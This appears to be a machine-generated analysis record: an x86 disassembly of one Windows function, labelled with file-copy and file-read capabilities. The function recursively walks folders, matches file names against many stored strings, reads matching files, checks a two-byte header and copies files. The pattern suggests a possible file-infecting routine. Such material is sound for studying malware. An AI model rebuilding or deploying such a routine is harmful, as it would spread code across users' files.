Function at 0x1314c964
Capabilities:
Copy file
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x3f
push 0
push 0
dec ecx
jne 0x1314c96c
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.131448dc
lea eax, [ebp - 0x16c]
mov edx, dword [0x13145ddc]
call fcn.13144af8
xor eax, eax
push ebp
push 0x1314d196
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x170]
mov ecx, 0x1314d1ac
mov edx, dword [ebp - 4]
call fcn.13144738
mov eax, dword [ebp - 0x170]
lea ecx, [ebp - 0x16c]
mov edx, 0x3f
call fcn.13146a2c
jmp 0x1314d13c
mov eax, dword [ebp - 0x160]
mov bl, byte [eax]
cmp bl, 0x2e
jne 0x1314c9ff
lea eax, [ebp - 0x174]
mov edx, ebx
call fcn.13144638
mov eax, dword [ebp - 0x174]
mov edx, 0x1314d1bc
call fcn.13144838
je 0x1314d0fa
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x178]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x178]
mov eax, 0x1314d1d4
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x17c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x17c]
mov eax, 0x1314d1e4
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x180]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x180]
mov eax, 0x1314d1f4
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x184]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x184]
mov eax, 0x1314d204
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x188]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x188]
mov eax, 0x1314d214
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x18c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x18c]
mov eax, 0x1314d224
call fcn.131449d4
test eax, eax
jle 0x1314cc13
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x190]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x190]
mov eax, 0x1314d234
call fcn.131449d4
test eax, eax
jne 0x1314cc13
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x194]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x194]
mov eax, 0x1314d244
call fcn.131449d4
test eax, eax
jne 0x1314cc13
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x198]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x198]
mov eax, 0x1314d258
call fcn.131449d4
test eax, eax
jne 0x1314cc13
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x19c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x19c]
mov eax, 0x1314d264
call fcn.131449d4
test eax, eax
je 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1a0]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1a0]
mov eax, 0x1314d270
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1a4]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1a4]
mov eax, 0x1314d280
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1a8]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1a8]
mov eax, 0x1314d28c
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1ac]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1ac]
mov eax, 0x1314d298
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1b0]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1b0]
mov eax, 0x1314d2a4
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1b4]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1b4]
mov eax, 0x1314d2b4
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1b8]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1b8]
mov eax, 0x1314d2c4
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1bc]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1bc]
mov eax, 0x1314d2d4
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1c0]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1c0]
mov eax, 0x1314d2e4
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1c4]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1c4]
mov eax, 0x1314d2f0
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1c8]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1c8]
mov eax, 0x1314d300
call fcn.131449d4
test eax, eax
jg 0x1314cecd
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1cc]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1cc]
mov eax, 0x1314d30c
call fcn.131449d4
test eax, eax
jle 0x1314d0fa
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1d0]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1d0]
mov eax, 0x1314d318
call fcn.131449d4
test eax, eax
jne 0x1314d0fa
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 8]
mov edx, 3
call fcn.131447ac
xor eax, eax
push ebp
push 0x1314cf6e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1d4]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1d4]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
push 0
push esi
call sub.kernel32.dll_GetFileSize_1
mov edi, eax
mov eax, edi
call fcn.131428c4
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 0x14]
push eax
push edi
mov eax, dword [ebp - 0x10]
push eax
push esi
call sub.kernel32.dll_ReadFile_1
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1314cf78
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.13144648
lea eax, [ebp - 0x1d8]
push eax
mov ecx, 2
xor edx, edx
mov eax, dword [ebp - 0xc]
call fcn.1314494c
mov eax, dword [ebp - 0x1d8]
mov edx, 0x1314d328
call fcn.13144838
jne 0x1314d0fa
push 0
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
push 0x1314d1d4
lea eax, [ebp - 0x1dc]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1dc]
call fcn.131448ec
push eax
lea edx, [ebp - 0x1e8]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x1e8]
lea eax, [ebp - 0x1e4]
mov edx, 0x1314d334
call fcn.13144738
mov eax, dword [ebp - 0x1e4]
lea edx, [ebp - 0x1e0]
call fcn.1314c4a8
mov eax, dword [ebp - 0x1e0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
push 0
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
push 0x1314d344
lea eax, [ebp - 0x1ec]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1ec]
call fcn.131448ec
push eax
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1f0]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1f0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 8]
call fcn.13146abc
push 0
mov eax, dword [ebp - 8]
call fcn.131448ec
push eax
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
push 0x1314d1d4
lea eax, [ebp - 0x1f4]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1f4]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
push 0x1314d1d4
lea eax, [ebp - 0x1f8]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1f8]
call fcn.13146abc
mov eax, dword [ebp - 0x164]
and eax, 0x10
cmp eax, 0x10
jne 0x1314d13c
mov eax, dword [ebp - 0x160]
cmp byte [eax], 0x2e
je 0x1314d13c
push dword [ebp - 4]
push 0x1314d1c8
push dword [ebp - 0x160]
lea eax, [ebp - 0x1fc]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1fc]
call fcn.1314c964
lea eax, [ebp - 0x16c]
call fcn.13146a7c
test eax, eax
je 0x1314c9cf
lea eax, [ebp - 0x16c]
call fcn.13146aa0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314d19d
lea eax, [ebp - 0x1fc]
mov edx, 0x24
call fcn.13144490
lea eax, [ebp - 0x16c]
mov edx, dword [0x13145ddc]
call fcn.13144bbc
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.13144490
ret